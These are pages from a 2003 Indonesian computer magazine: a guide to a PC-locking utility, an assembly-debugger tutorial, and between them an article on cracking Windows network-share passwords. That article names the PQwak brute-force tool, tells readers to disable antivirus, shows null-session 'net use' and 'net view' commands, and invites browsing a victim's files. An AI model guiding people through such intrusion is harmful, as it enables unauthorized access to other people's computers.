7. Intruder Detection
8. Explorer Control
9. Restricted System
Adapun manfaat dan kegunaan dari masing-masing menu
tersebut di atas, akan dijelaskan sebagai berikut:
1. File Lock
Sesuai dengan namanya, fungsi utama program ini adalah
untuk mengunci file-file (khususnya file data) yang anda ang-
gap sangat penting dan rahasia. Dalam melakukan pengun-
cian, PC Security akan memberikan dua buah model/ type
kunci yang bisa anda pilih, yaitu Read Only dan Total Lock.
Berikut ini adalah petunjuk untuk melakukan proses
penguncian file:
• Klik menu File Lock
• Tentukan drive serta folder tempat file berada
• Pilih (click) file yang akan dikunci
• Tentukan pilihan Lock Type
• Klik tombol Lock untuk mengunci Gambar 9. Window title yang sudah di-lock

Sep/Okt 2003 NeoTek 19


NeoTekno

3. Program Lock 5. Internet Lock

Gambar 13. Mengunci akses ke Internet


Gambar 10. Mengunci file-file aplikasi. Jika anda tidak ingin komputer anda dipakai orang lain seba-
Gambar 11. gai sarana untuk mengakses Internet, maka manfaatkanlah
Pesan bahwa program ini. Secara teknis, fungsi program ini adalah untuk
aplikasi yang telah mengunci program-program aplikasi yang biasa dipakai un-
dikunci tidak bisa tuk mengakses Internet, misalnya IE, Netscape Navigator,
dijalankan. mIRC, dan sebagainya. Dan satu lagi, dengan program ini
anda juga nanti bisa mengunci file-file yang tidak boleh di-
download. Berikut ini adalah petunjuk penggunaannya:
Sama seperti File lock, fungsi utama program ini adalah un- • Klik menu Internet Lock
tuk mengunci file-file aplikasi yang berekstensi EXE agar
orang lain tidak bisa mengoperasikan, memodifikasi, atau • Klik opsi Activate Internet Internet Protection
menghapusnya. Berikut ini adalah petunjuk penggunaannya: • Double-click Programs that connect to the Internet dan
• Klik menu program Lock Programs that act as server
• Tentukan drive serta folder tempat file EXE • Pada bagian Download Control, tambahkan ekstensi file
• Pilih (click) file EXE yang akan dikunci yang tidak boleh di download, lalu klik tombol Add
• Klik tombol Lock untuk mengunci • Pada bagian Internet Lock, aktifkan semua opsi yang anda
4. Folder/Drive Lock anggap perlu
Secara teknis, fungsi program ini adalah untuk mengunci 6. System Lock
direktori (folder) beserta semua drive yang ada di PC anda. Fungsi utama program ini adalah untuk mengunci atau mem-
Sekali anda menguncinya, maka orang lain tidak akan per- buat jadwal penguncian sistem. Berikut ini adalah petunjuk
nah bisa melihat atau membuka folder-folder dan drive penggunaannya:
yang ada di PC anda. Berikut ini adalah petunjuk
• Klik menu System Lock
penggunaannya:
• Aktifkan opsi Lock Schedule
• Klik menu Folder/Drive Lock
• Pilih/tentukan drive beserta folder yang akan dikunci • Tentukan jam/waktu mulai berlakunya penguncian
• Tentukan Lock Type yang diinginkan system
• Pada bagian Settings, aktifkan semua opsi yang anda
anggap penting

Gambar 12. Memilih drive dan folder yang akan dikunci Gambar 14. Menjadwalkan penguncian sistem.

20 NeoTek Sep/Okt 2003


NeoTekno

7. Intruder Detection 9. Restricted System

Gambar 15. Mengaktifkan fasilitas Intruder Detection. Gambar 17. Memilih aplikasi yang boleh/tidak boleh dijalankan.

Secara teknis, fungsi utama program ini adalah untuk men- Fungsi utama program ini adalah untuk mengatur program-
deteksi adanya kesalahan pada saat memasukkan password. program aplikasi apa saja yang boleh atau yang tidak boleh
Jika anda atau orang lain salah dalam memasukkan password, dijalankan di system komputer anda.
maka PC Security akan segera mengunci Desktop komputer Berikut ini adalah petunjuk penggunaannya:
anda dan menampilkan pesan peringatan (warning).
• Klik menu Restricted System
Berikut ini adalah petunjuk penggunaannya:
• Tentukan drive serta folder tempat aplikasi berada
• Klik menu Intruder Detection
• Klik opsi Active, Sound Alarm dan Lock the system • Tentukan file aplikasinya
• Tentukan berapa kali password boleh di coba • Klik tombol Permit bila anda mengizinkan aplikasi itu
boleh dijalankan, atau
8. Explorer Control
• Klik tombol Restricted bila anda tidak mengizinkannya
Demikianlah akhir penjelasan saya, mudahan-mudahan apa
yang dibahas dalam artikel ini bermanfaat bagi anda semua.
Alternatif Freeware: WinLock 3.2
PCSecurity yang terdapat pada CD NeoTek berupa share-
ware. Bagi yang menginginkan program sejenis yang full
version, silakan gunakan WinLock 3.2 yang semenjak di-
luncurkankan versi 4.0, full version-nya disediakan gratis.
Berikut beberapa layar tampilan WinLock 3.2. Penggunaan-
nya sangat mudah. Silakan coba sendiri.

Gambar 16. Mengunci semua fungsi kontrol sistem PC.

Secara umum, program ini hampir tidak jauh berbeda de-


ngan program Policy Edtor (Poledit) yang sudah pernah
saya bahas sebelumnya.
Gunanya adalah untuk mengunci semua fungsi kontrol
system komputer anda agar tidak bisa diakses oleh orang
lain atau hacker. Dengan program ini, saya yakin akan lebih
banyak lagi opsi yang nantinya bisa anda kunci, cobalah
anda buktikan sendiri. Berikut ini adalah petunjuk peng-
gunaannya:
• Klik menu Explorer Control
• Pilih (aktifkan) semua opsi yang akan dikunci

Sep/Okt 2003 NeoTek 21


NeoTekno

PC S E C U R IT Y
Password Network Neighborhood
Kembali kerawanan network neighborhood dibahas. Kali ini dengan memperkenalkan PQwak dan
Internet Maniac, dua software yang karena cara kerjanya dikategorikan sebagai software yang
berbahaya oleh program antivirus. Bagaimana tidak, kalau kerjanya mencuri password.

INDOWS MENGGUNAKAN NETBIOS UNTUK MENJALANKAN


W fasilitas network-nya yang dikenal sebagai network
neighborhood. Adanya network neighborhood dike-
tahui dengan adanya Port 139 yang sedang listen. Kedalam
sistem ini siapa pun dapat melakukan koneksi tanpa user
name maupun password (null-session connection) dan ini-
lah pijakan awal untuk mencari informasi di dalam network
itu, mencakup network resource dan share, user, dan group.
Apabila dalam network tersebut terdapat resource yang di-
share tanpa password (misalnya hard disk), maka siapa pun
dengan mudah dapat masuk dan menguasai resource itu
dengan menggunakan NetBIOS scanner seperti Legion,
NetBIOS Auditing Tool, SharesFinder, dan SMBScanner.
Apabila shares yang didapat dilindungi oleh password, maka
dapat digunakan fasilitas password auditor yang pada dasar-
nya adalah suatu Brute Force tool. Semua itu dibahas di
NeoTek II/10 Juli 2002 dalam topik Enumerasi. Program PQwak atau imaniac ini akan
Walaupun kerawanan pada network neighborhood ini ba- dideteksi oleh antivirus sebagai mali-
nyak dibahas, tetap saja banyak yang masih kurang me- cious code yaitu kode-kode yang men-
nyadari bahayanya dan dengan demikian NetBIOS tool curigakan yang mengarah pada trojan,
rupanya tetap populer. Kali ini akan dibahas dua software sehingga program sejenis ini di-black list oleh antivirus. Jadi
yang dapat di-download dari www.nostalgia.host.sk yaitu untuk menjalankan PQwak atau imaniac anda harus men-dis-
PQwak dan Internet Maniac. able antivirus tersebut.
Imaniac bertindak sebagai IP scanner yang mencari IP address Eksplorasi Network Neighborhood
dari setiap komputer yang terhubung pada Windows network Diasumsuikan bahwa komputer anda adalah bagian dari Win-
(network neighborhood), sedangkan PQwak adalah suatu dows network, baik itu di warnet ataupun di kantor. Buka Win-
brute force tool terhadap share pada network. dows Explorer lalu browse ke network neighborhood. Nama-
Pengantar nama yang tampil pada bagian kanan explorer diatas seperti:
201, 202, …, Oper2, dan server adalah hostname/netbios name.
Dalam jaringan (LAN) di kantor atau di warnet terdapat fa-
silitas file sharing yang setiap komputer berhak me-share Sekarang dari nama tersebut, pilih target tujuan kita. Sebagai
file dan juga memberikan hak akses. Hak akses tersebut bisa contoh Oper2. Dari Oper2 tersebut, kita harus mengetahui IP
berupa read-only atau full-access. address komputer tersebut.
Jika anda pengguna Microsoft Windows harus pikir dua kali
untuk melakukan sharing file di network neighborhood,
karena sekarang setelah membaca artikel ini anda dipastikan
bisa menjebol password network neighborhood. Tidak ada
syarat atau kemampuan khusus. Hanya ada beberapa istilah
yang harus di mengerti yaitu, hostname dan IP address.
Password Windows untuk network neighborhood disimpan
dengan huruf capital. Walaupun anda memasukkan password
berupa huruf kecil maka otomatis windows akan mengkon-
versi passwird itu menjadi huruf kapital.
Download PQwak dan imaniac
Tool untuk menjebol password network neighborhood ini
adalah PQwak yang dapat anda download di situs berikut:
http://www.nostalgia.host.sk/download/pqwak/pqwak.zip
Ukurannya file ini hanya 8Kb, kemudian download lagi file
imaniac.zip yang ukurannya hanya 53Kb di situs berikut ini:
http://www.nostalgia.host.sk/download/imaniac/imaniac.zip

22 NeoTek Sep/Okt 2003


NeoTekno

Mendapatkan IP Address Masuk ke Share Resource


Untuk mendapatkan IP Add- Masukkan password
ress komputer tujuan (Oper2), tersebut. Setelah
maka jalankan program kita password anda ma-
imaniac (Internet Maniac). sukkan, maka akan
Internet Maniac secara oto- anda lihat isi file
matis mendeteksi dan me- folder d tersebut.
nampilkan IP Address kita
sendiri. pada contoh terlihat
bahwa IP Address komputer
yang kita gunakan (merupa-
kan bagian dari network)
adalah 10.1.2.12.
Untuk mencari IP Address
tujuan (Oper2), klik tombol
Host Lookup, maka akan
muncul window Resolver.
Pada Hostname or IP address,
masukkan nama hostname
tujuan yaitu Oper2, setelah
itu klik Resolve dan akan
muncul IP Address pada ba-
gian Host addresses.
Nah, sekarang kita dapatkan
IP Address dari hostname Nah, sekarang kendali ada ditangan anda. Silahkan anda ber-
tujuan yaitu Oper2 dengan IP suka ria browsing di folder d ini.
Address 10.1.2.20
Selamat mencoba...
Mendapatkan Share Password
Catatan Redaksi: Kembali ke Dasar
Untuk melihat apa
saja yang di-share di Skenario di atas mengasumsikan anda berada di warnet atau
Oper2, maka kita klik LAN kantor dan anda tidak mempunyai akses fisik ke masing-
ganda pada hostname masing komputer pada network neighborhood. Apabila mem-
tersebut. Pilih folder punyai akses fisik, maka mendapatkan IP address suatu kom-
yang ingin kita bobol puter tidak memerlukan tool apapun, melainlan menjalankan
passwordnya, misal- Start > Run dan ketikkan winipcfg dan pilih network adapter
nya folder tersebut bernama \\OPER2\D. Klik ganda untuk yang dipakai. IP Address komputer tersebut akan ditampilkan.
membuka folder tersebut, maka akan muncul permintaan pass- Untuk melakukan koneksi ke suatu komputer dalam network
word. Selanjutnya bagaimana? di IP Address 10.1.2.20, dapat juga dengan menjalankan com-
Untuk mengetahui apa mand line C:\net use \\10.1.2.20\IPC$
yang harus diisikan pa- Selanjutnya untuk mengetahui share apa saja yang terdapat di
da kolom password situ, jalankan C:\net view \\10.1.2.20 atau C:\net view Oper2.
yang kosong tersebut, Misalnya didapat bahwa terdapat share D (mungkin hard disk).
jalankan PQwak. Hati- Apabila share tersebut tidak dilindungi password, anda dapat
hati dengan antivirus memetakannya menjadi virtual disk di komputer anda dengan
anda; usahakan untuk perintah C:\net use G: \\10.1.2.20\D yaitu memetakan share D
di-disable terlebih dulu. dari komputer dengan IP Address 10.1.2.20 menjadi disk G di
Pada dialog PQwak terdapat kolom-kolom yang harus diisi: komputer lokal kita.
NBNAME Apabila share itu dilindungi password, maka cara manual ini
Nama hostname tujuan kita (NetBIOS name), yaitu Oper2 tidak bisa menangani. Di sini anda memerlukan fasilitas brute
SHARE force tool dari PQwak atau tool lain seperti Legion.
Merupakan nama folder yang di share oleh hostname Oper2, Dalam CD NeoTek kali ini, selain terdapat PQwak dan Internet
yaitu folder d. Maniac, dimuat juga enumeration tool lain, yaitu Legion v2.1,
IP NetBIOS Auditing Tool (NAT), SharesFinder, dan SMBScanner
Kita isikan IP Address tujuan yaitu 10.1.2.20 yang telah kita untuk anda bandingkan cara kerjanya.
dapatkan dengan menggunakan Internet Maniac. Juga disertakan SuperScan untuk men-scan suatu range IP
DELAY address dan mencari apakah ada di antara IP address yang di-
Biarkan terisi 250 (default) scan itu Port 139 yang sedang listen. Apabila ada, maka artinya
terdapat Windows network (network neighborhood) yang
Setelah syarat diatas diisikan, tekan tombol OK. diaktifkan. Anda dengan demikian bisa bereksplorasi ke luar
UHUUUUY, ternyata password dari folder yang di-share dari hanya lingkungan warnet atau LAN kantor/sekolah.
tersebut adalah CENTIL. Penulis: M Syafii (karebet_asli@telkom.net) dan M Z Arifin
(agendogget@telkom.net)

Sep/Okt 2003 NeoTek 23


NeoTekno

Bahasa A ssembly
Menjajal Kemampuan Pemicro Win I DE
Hardy The (hardythe@cbn.net.id) membahas Pemicro Win IDE yang merupakan tool lengkap,
dan kali ini dibahas Simulator, In-Circuit Simulator, dan In-Circuit Debugger.
IN IDE YANG PERNAH ANDA DOWNLOAD (KXICS)PU-
W nya beberapa subprogram yang bisa kita coba de-
ngan routine Simple I O.asm (ada di CD NeoTek).
Subprogram Win IDE terdiri dari: Text Editor, Assembler,
In-Circuit Simulator, Programmer, In-Circuit Debugger.,
Simulatior, Text Editor, dan Assembler sudah pernah diba- Tekan tombol Simulation. Register yang belum pernah di-
has sebelumnya. Simulator, ICS, dan ICD pernah dising- sentuh instruksi MCU akan bertanda XX atau UU atau
gung tapi kali ini lengkap dengan penerapannya. tertulis Uninitialized memory. Tulisan Pod Detected: No
artinya tidak menggunakan hardware.
Bagi yang masih kesulitan men-download software ini, da-
lam CD NeoTek kali ini disediakan dua versi ICS Win IDE,
yaitu ics08kxz_version_1_04A_020402 (versi 1.04) dan
ics08kxz_version_1_01 (versi 1.01).

Simulator.
Simulator yang mensimulasi (menirukan fungsi MCU tanpa
I/O) adalah tool yang paling murah karena tidak perlu hard- Selanjutnya Anda bisa tekan tombol Step atau Multiple Step
ware. Semua dikerjakan di dalam komputer. bahkan Go. Untuk menghentikan, tekan Stop. Tombol Reset
Praktek dengan Simulator. akan mengembalikan ke kondisi awal tapi harus diingat data
di RAM tetap bertahan. Perhatikan nilai pada lokasi $40 di
Copy file Simple I O 2.asm dari CD NeoTek ke hard disk dalam Memory Window 1 yang mendapat label Temp1
anda, lalu buka file ini dengan Text Editor Win IDE. Jangan (yang akan terbaca waktu mouse pointer berada di address
lupa copy file STARTUP.08 dan startup.icd dari dalam fol- itu) sebelum dan sesudah menekan Reset.
der pemicro hasil instalasi ke folder yang sama dengan loka-
si Simple I O 2.asm. Tekan tombol Assemble/Compile File Sewaktu Simulator bekerja dengan Step, Multiple Step, atau
dan pastikan akan terbentuk file-file: Go (dianjurkan pakai Multiple Step), kita akan menemukan
Simple I O 2.BAK, Simple I O 2.lst, Simple I O 2.map, bahwa software tidak menunggu di loop Top dan dua baris
Simple I O 2.s19. selanjutnya, melainkan langsung menuju delay debounce.
Hal ini disebabkan Simulator tidak bisa menirukan I/O yang
bersifat Input (I/O sebagai input selalu membaca input sebe-
narnya) kecuali software yang menyediakan juga simulator
I/O dalam softwarenya seperti Code Warrior HC08 ver. 2.
Apapun yang ditulis untuk mengubah port A pin 3 tidak
menghasilkan apa-apa (tetap 0) karena memang demikian
sifat asli yang ditiru. Input tidak bisa diberi logika kecuali
secara fisik. Sekedar untuk melihat MCU menunggu di
loop input, cobalah ubah BNE TOP menjadi BEQ TOP.
Delay loop yang seharusnya dilaksanakan sekitar 50 mS
sekarang menjadi jauh lebih lama. Silakan hitung waktu-
nya karena ini berhubungan dengan kecepatan CPU kom-
puter atau berhubungan dengan jatah waktu tasking ope-
rating system yang dipakai dan ini sudah diluar bahasan
kita. Bila terus dibiarkan maka setelah selesai delay debounce
akan melewati penyalaan LED dan masuk ke delay 1 detik.

24 NeoTek Sep/Okt 2003


NeoTekno

Dilanjutkan dengan menunggu di OffLp karena logika input Praktek dengan In-Circuit Simulator.
tidak bisa diubah. Melompati loop bisa dilakukan dengan
mengubah Program Counter menjadi 3 byte lebih tinggi
(dengan double click Register PC lalu naikkan nilainya 3
byte) karena instruksi di OffLp itu panjangnya 3 byte. Cara
mudahnya dengan double click di titik biru sisi kiri JSR
DLY50 di Code Window 1. Command itu bernama GoTil Hubungkan PC dengan POD (misalnya mini-EVM) dan
0000xxxx yang bisa dibaca di window status. jangan lupa Simple I/O nya juga sebagai target.
Metode lain mencapai baris tertentu adalah memasang break- Tekan tombol In-Circuit Simulator. Register yang belum
point di dalam program. Breakpoint adalah jebakan yang pernah disentuh instruksi MCU akan bertanda XX atau UU
akan menghentikan simulator bila breakpoint diakses. Pasang tapi tulisan Uninitialized Memory di port B tidak ada melain-
breakpoint dan tekan tombol Go. Hasilnya jauh lebih cepat kan nilai dari I/O sebenarnya. Tulisan POD detected: YES
tercapai baris tersebut. Pada Simulator breakpoint bisa dipa- karena sekarang ada hardware terdeteksi. Simulator dan
sang banyak karena semua di urus oleh Personal Computer. ICS memiliki interface yang sama kecuali info POD tersebut.
Pemasangan breakpoint di sini dilakukan (oleh software bu- Apabila tombol ICS yang ditekan tapi tidak berhasil connect
kan user seperti anda) dengan mencatat address yang dipa- dengan POD, maka akan ditawarkan Simulation Only
sangi breakpoint. Apabila instruksi yang akan dilaksanakan
baik dengan Step atau Go cocok dengan address breakpoint,
maka Go atau GoTil akan stop pada breakpoint tersebut sambil
menuliskan preset breakpoint encountered di window status.
Sebenarnya Go dengan breakpoint sama saja dengan step,
check breakpoint dan step lagi bila tak ada breakpoint yang
cocok, tapi karena tidak perlu refresh tampilan di layar kom-
puter, maka hasilkan akan lebih cepat tapi tetap tidak RealTime.
Uniknya breakpoint juga bisa dilakukan pada
Accumulator BREAKA [<n> [<address>]] dan
Register HX BREAKHX [<n> [<address>]] dan
Stack Pointer SP BREAKSP [<n> [<address>]]
Di Simulator, Reset atau Stop bisa dilakukan kapan saja ka-
rena semua dikontrol oleh PC.
Dengan Simulator, anda bisa melihat efek setiap instruksi.
Memory Window 1 bisa di-scroll. Bandingkan nilai sebelum
dan sesudah instruksi dilaksanakan (telah dilewati).
Bila ada yang tak dimengerti, silakan email ke milis hc05_08jkt
di Yahoo! (hhttp://groups.yahoo.com/group/hc05_08jkt/) Bila kemudian tombol ini yang dipilih, maka Simulator yang
atau langsung ke hardythe@cbn.net.id. Pelajari juga cara kerja terpilih (tentunya POD = No).
JSR (Jump to Subroutine) yang menyimpan address return Karena ICS tidak menggunakan Flash ROM MCU di POD,
di Stack (default addressnya di FF) dan nilai stack pointer ICS tidak perduli Flashnya ada program atau tidak. Security
yang berubah sewaktu sedang melaksanakan subroutine. bytenya sebagai syarat akses ke Flash ROM cukup di-iignore
Lakukan ini dengan Step untuk JSR pertama (delay debounce) karena ICS tidak perlu akses ke Flash ROM.
dan pakai breakpoint untuk yang delay 1 detik. Kedua JSR
ini menyimpan return address yang berbeda. Tapi bila Flashnya kosong (erased) konfigurasi cukup 1 kali
dibandingkan bila Flash not erased perlu reset 1 kali. Dengan
In-Circuit Simulator. mini-evm yang power cyclingnya otomatis (class 1) reset
cukup dengan menekan tombol di dialog box communica-
Kalau Simulator punya kelemahan tidak memiliki I/O, maka tion error. Debugger artikel neotek perlu power cycling
In-Circuit Simulator menjawab kebutuhan ini melalui POD. manual setiap reset.
MCU di ICS dikonfigurasi oleh PC (lihat di window status
waktu kontak dengan POD) menjadi kurir I/O MCU ke PC, Tombol Step, Multiple Step, Go, Stop, dan Reset bekerja
bukan sebagai MCU yang berdiri sendiri. POD bisa dibuat seperti di Simulator dan bisa dilakukan kapan saja karena
sendiri berupa debugger atau Mini-EVM (dibuat penulis semua dikontrol oleh PC.
dan dibahas di NeoTek III/6 Maret/April 2003), atau KXICS Bila software di-MultiStep-kan, akan terlihat software me-
(untuk MCU KX2 atau KX8) atau Cyclone dan MultiLink. nunggu (berputar) di loop Top dan dua baris selanjutnya
Sebagai Info: sampai tombol di target (simple I/O) yang berhubungan de-
Debugger + MCU KX8 = Rp 150.000,-
ngan POD ditekan. Logika tombol di target di kirim POD
hanya untuk KX series, mode target. ke komputer dan diperlakukan seperti aslinya.
Mini-Evm = Rp 500.000,- Waktu yang diperlukan delay loop kira-kira sama dengan
Multi MCU, power cycling, mode di Simulator. Stop lalu gunakan Breakpoint dilanjutkan de-
target dan MON08+.
ngan Go untuk mempersingkat waktu. Selesai delay
KXICS dari motorola = USD 295 (dulu
USD 364) debounce, LED dinyalakan dan masuk ke delay 1 detik.
Hanya untuk KX series, mode target OffLp (off Loop) merupakan singkatan dari loop menung-
dan MON08.
gu tombol di lepas atau off. OffLp memastikan tombol
Dari pemicro: dilepas setelah ditekan. Apabila belum dilepas maka soft-
Cyclone = 399 USD ware akan menunggu di loop ini. Hal ini untuk mencegah
Power cycling, Multi MCU, MON08,
Stand Alone dan MultiLink = USD 168
tekan tombol 1 kali tapi hasilnya nyala LED 1 detik yang
Power cycling, Multi MCU, MON08. Mini EVM berulang kali (test pakai ICD agar real time).

Sep/Okt 2003 NeoTek 25


NeoTekno

Breakpoint di ICS sama dengan di Simulator. Baik jumlah I/O (13 pin pada KX8). Konsekuensinya: setelah init yang
yang cukup banyak dan disebut software breakpoint karena mengatur I/O kedua pin tsb menjadi output (pantangan
menggunakan mekanisme software saja. Selain itu Go di untuk komunikasi), tak ada jaminan lagi komunikasi akan
sini juga tidak RealTime. Command breakpoint BREAKA, tetap lancar. Kegagalan Komunikasi ditampilkan dengan
BREAKHX, BREAKSP juga bisa dilakukan di ICS. Dengan dialog box Communication Error.
ICS, efek setiap instruksi lebih real karena ada I/O-nya. Praktek dengan In-Circuit Debugger
In-Circuit Debugger Hubungkan PC dengan POD (yang dibahas di sini Mini-EVM)
berikut Simple I/O circuit sebagai target.
Untuk ICD dengan pemakaian Flash, lakukan dulu prose-
dur programming (lihat artikel NeoTekno di NeoTek III/1
Oktober 2002). Setelah selesai programming, tekan tombol
Kedua Software di atas menggunakan CPU Komputer untuk In-Circuit Debugger. Security bytesnya pilih FF-FF-FF-FF-
mensimulasi kerja MCU. Karena perbedaan kecepatan kedua FF-FF-FF-FF atau kosong karena security bytes diambil
processor ini, maka terjadi perbedaan waktu antara simulasi dari address vector Interrupt Timer CH 0, CMIREQ, IRQ1,
dengan kenyataan (bila software Simple I O dijalankan lang- SWI dan simple I/O belum menggunakan Vector tersebut.
sung oleh MCU). Misalnya, dalam software LED diharapkan Semua Register statusnya jelas karena tidak ada yang disi-
menyala 1 detik, tapi di Simulator (hanya berupa perubahan mulasi.
nilai 1 bit) dan di ICS, LED menyala tidak 1 detik. Kondisi
ini disebut tidak RealTime. Akibatnya setelah selesai Simu- Tampilan ICD berbeda dengan Sim dan ICS. Ada 2 Code
lasi atau ICS, perlu disetel lagi timing-nya. window yang awalnya kelihatan sama. Tapi akan berbeda
setelah dilakukan Load S19 File dari menu File (sebenarnya
ICD bekerja dengan MCU tanpa disimulasi. Mendekati me- yang di load adalah Map Filenya), maka Code Window 2
tode Emulasi (ICE) tapi karena konsep berbeda dan punya akan menampilkan Source Code seperti di Sim dan ICS.
kelemahan dibandingkan ICE, maka disebut ICD. Dikenda- Yang berperan di sini adalah Map file. Cobalah mengubah
likan dengan command Step, Multiple Step, Go. Pada wak- nama Map file atau extensionnya. Maka source code tidak
tu MCU diperintahkan GO (dengan atau tanpa setting akan tampil di Code window 2 bahkan di Sim dan ICS.
breakpoint), MCU bekerja dengan komponen dan kecepat-
an aslinya (RealTime). Pastikan software yang sudah terprogram di MCU sama
dengan nama S19 (sebenarnya map file) yang di-load ulang.
Seperti ICS, ICD juga memerlukan POD. POD untuk ICD Kesalahan di sini akan mengakibatkan Bad MAP file atau
sama dengan POD ICS di atas. Penggunaan ICS cocok un- stepping yang aneh.
tuk pengajaran cara kerja MCU seperti melihat efek pelak-
sanaan instruksi MCU pada register atau I/O. Sedangkan Source Level Debugging ini sangat memudahkan untuk
kalau sudah pada praktek pembuatan dan pengujian soft- GoTil atau pemasangan Breakpoint. Di masa lalu, penulis
ware sebaiknya gunakan ICD karena mampu realtime. menggunakan Macintosh (walaupun ada interface PC-nya
tapi tidak cukup menarik karena sering bermasalah) dengan
ICD bisa dilakukan dengan dua cara: mode terminal ke EVM05 (ICE) tidak mendapatkan fasili-
1. Dengan software diprogram ke Flash. Mengurangi endurance tas ini dan harus membaca file listing (.lst) untuk menda-
(jumlah tulis-hapus) Flash ROM MCU. Tak perlu terlalu diri- patkan address dari lokasi yang akan dipasangi breakpoint.
saukan karena jaminan Motorola minimum adalah 10 ribu kali.
MCU lain spesifikasinya seribu kali tapi mungkin karena konsep Selanjutnya Anda bisa tekan tombol Step atau Multiple
yang mengikutkan faktor external, maka sering terjadi cuma Step bahkan Go. Untuk menghentikan, tekan Stop. Tombol
bertahan sekitar 100 kali bahkan kurang. Sangat mendekati hasil Reset akan mengembalikan ke posisi awal (start) tapi harus
akhir karena addressnya sama (waktu debug dan hasil akhirnya). diingat Data di RAM tetap bertahan. Perhatikan nilai pada
2. Dengan Load program ke RAM. Karena hanya menggunakan lokasi $40 di dalam Memory Window 1 yang mendapat
RAM, maka endurance Flash ROM tidak terganggu. Berman- label Temp1 (yang akan terbaca waktu mouse pointer ber-
faat bila ingin mendapatkan RealTime tapi ingin menghemat ada di address itu) sebelum dan sesudah menekan Reset.
resource (dalam hal ini Endurance Flash ROM MCU). Sayang- Apabila perlu kondisi yang pasti waktu start, sebaiknya
nya kapasitas RAM yang kurang besar (KX8 192 byte, GP32 lakukan pembersihan RAM (init RAM dengan angka 0
512 byte termasuk stack) mengakibatkan Software yang di-
test tidak bisa besar. Kondisi ini cocok untuk praktek di lab misalnya) seperti di DemoMEVM.asm.
kampus atau lab sekolah atau programmer MCU yang sedang Perhatikan bahwa:
menguji subroutine-nya. Metode ini akan dibahas di bagian
akhir. Address Program harus diubah ke RAM. Waktu diberikan perintah Go, maka MCU akan jalan dengan kece-
patan asli dan tidak akan menghiraukan PC sampai terjadi break-
ICD mempunyai kelemahan dalam hal: point. Penekanan tombol Stop atau Reset (fisik) akan ditawari (Fungsi)
1. Perlu 1 pin untuk external oscillator in. Tapi ada juga MCU yang Reset MCU ke kondisi awal (biasanya reset dihindari dalam debug
bisa internal atau low freq Osc (32.768 kHz di GP dan GR series). agar status terakhir bisa dianalisa).
Pada KX8 kebetulan pin ini bisa untuk fungsi I/O. dengan de- Bila lebih dari sekian detik MCU tidak komunikasi dengan PC maka
mikian waktu ICD pin ini harus direlakan untuk External OSC. PC akan melaporkan Communication error dengan pilihan Reset
Selesai proses debug, bisa saja pin ini dipakai, tapi bagian soft- (power Cycling POD), Halt (Stop ICD) dan Ping. Ping hanya ber-
ware itu terpaksa dibuat tanpa ICD. Biasanya tidak terlalu guna bila telah terjadi Communication Error karena terlalu lama
merepotkan karena sudah sebagian besar software selesai. tidak komunikasi tapi setelah sekian waktu, terjadi breakpoint
2. Communication line untuk ke PC. Pin ini digunakan MCU (dan MCU siap ngobrol lagi dengan PC).
untuk komunikasi dengan PC. Misalnya anda pasang breakpoint yang akan di akses bila tombol
Kedua pin ini (terutama pada KX8) bisa dialihkan ke target ditekan. Setelah anda Go, tombol tidak ditekan sampai Com Error.
seakan-akan MCU dipindahkan ke Target dengan saklar Setelah itu anda tekan Tombol. Cobalah tekan Ping. PC akan ber-
komunikasi lagi dengan MCU.
toggle ke posisi USER. Saklar ini mengalihkan hubungan
fisiknya. Sedangkan untuk softwarenya harus dilakukan Pada Development Tool yang lebih mahal (ICE), ICE bisa
dengan mengubah bagian yang berhubungan dengan kedua kapan saja di break dengan tombol (Abort pada EVM05).
pin ini. Software DemoMevm dibuat untuk demo saklar Ini memaksa MCU di ICE berhubungan kembali dengan
ini yang bisa menampilkan penggunaan semua Universal PC. Tapi kedua metode ini berbeda sekali pendekatannya.

26 NeoTek Sep/Okt 2003


NeoTekno

Silakan Coba dengan tombol Step. Lalu Multiple Step. Se- lokasi Program dari Flash ROM (address $F600) ke RAM
perti di ICS, software akan menunggu di loop Top dan 2 (di contoh $45). Assemble file Simple I O 2@RAM.asm
baris di belakangnya. Tekan tombol di target sampai instruk- untuk dapatkan file S19-nya.
si lda PortA terlaksana. Software akan mengalir ke delay Hapus Flash dengan programmer. Jalankan ICD dan guna-
Debounce. Delay ini lebih lama dari pada di Simulator dan kan security FF-FF-FF-FF-FF-FF-FF-FF karena Flash kosong.
ICS karena setiap instruksi di perintahkan PC ke MCU un- Setelah masuk, load file Simple I O 2@RAM.s19 hasil
tuk menjalankannya dan kemudian MCU melapor ke PC. assembling dari file Simple I O 2@RAM.asm. Karena Reset
Bagian selanjutnya tak beda dengan hal ini. Tekan tombol Stop. Vector tidak diprogram ke Flash MCU, ICD tidak menam-
Hanya tombol Go pada ICD yang RealTime. Step dan pilkan source code dengan baik. Atur Program counter ke
Multi Step untuk menganalisa step by step setelah terjadi address awal dari software yaitu $45 dengan double click
breakpoint. Sekarang tekan tombol Go (jangan memasang CPU register PC dan ganti nilainya dengan angka 45. Seke-
Breakpoint), Delay loop benar-benar terlaksana dalam wak- tika Source file tampil.
tu sekitar 50 mS asalkan frekuensi Kristalnya 10 MHz. De- Jalankan Go tanpa breakpoint. Tekan tombol di target, ha-
bugger dirancang dengan 10 MHz, sedangkan Mini-EVM silnya akan sama seperti MCU yang Flashnya terisi Simple
dirancang dengan 9.8304 MHz. Jadi Delay di Mini-EVM I O 2.S19. Anda sudah dapatkan kemampuan RealTime
akan sedikit lebih lama dibanding Debugger. Tekan tombol yang hemat endurance karena jalan di RAM.
di target, LED akan menyala sekitar 1 detik baik dengan
tombol tetap ditekan atau langsung dilepas. Lepas tombol, Step, Multi Step, Go dengan atau tanpa breakpoint tetap bisa
tekan lagi. LED menyala 1 detik lagi. Kalau sudah demikian dijalankan. Tapi harus diingat Konsekuensinya: File S19 ha-
berarti semua dalam keadaan baik. rus di-load ulang bila terjadi reset (power cycling) karena
data di RAM hilang bila power mati. Kadang-kala perlu di-
Tekan tombol Stop atau Reset. Setelah Go tanpa breakpoint lakukan load file S19 ulang pada waktu step atau Go yang
tadi, MCU tidak pernah berkomunikasi dengan PC. Terja- belum sempurna seperti ada kesalahan Jump atau lainnya
dilah Com Error. Software tetap jalan secara RealTime. Jadi sewaktu development.
dari sisi software semua itu adalah kondisi normal. Hanya
saja PC tidak bisa menghubungi MCU lagi tanpa melaku- Ada dua Kompromi yang menarik di sini:
kan Reset (tombol Stop akan menawarkan Reset juga). 1. Reset Vector (termasuk Flash) di program dengan program
Ping tidak berguna disini. byte pada address FFFe = 00 dan FFFF = 45 agar ICD bisa
langsung menampilkan Source Code setelah load file .S19.
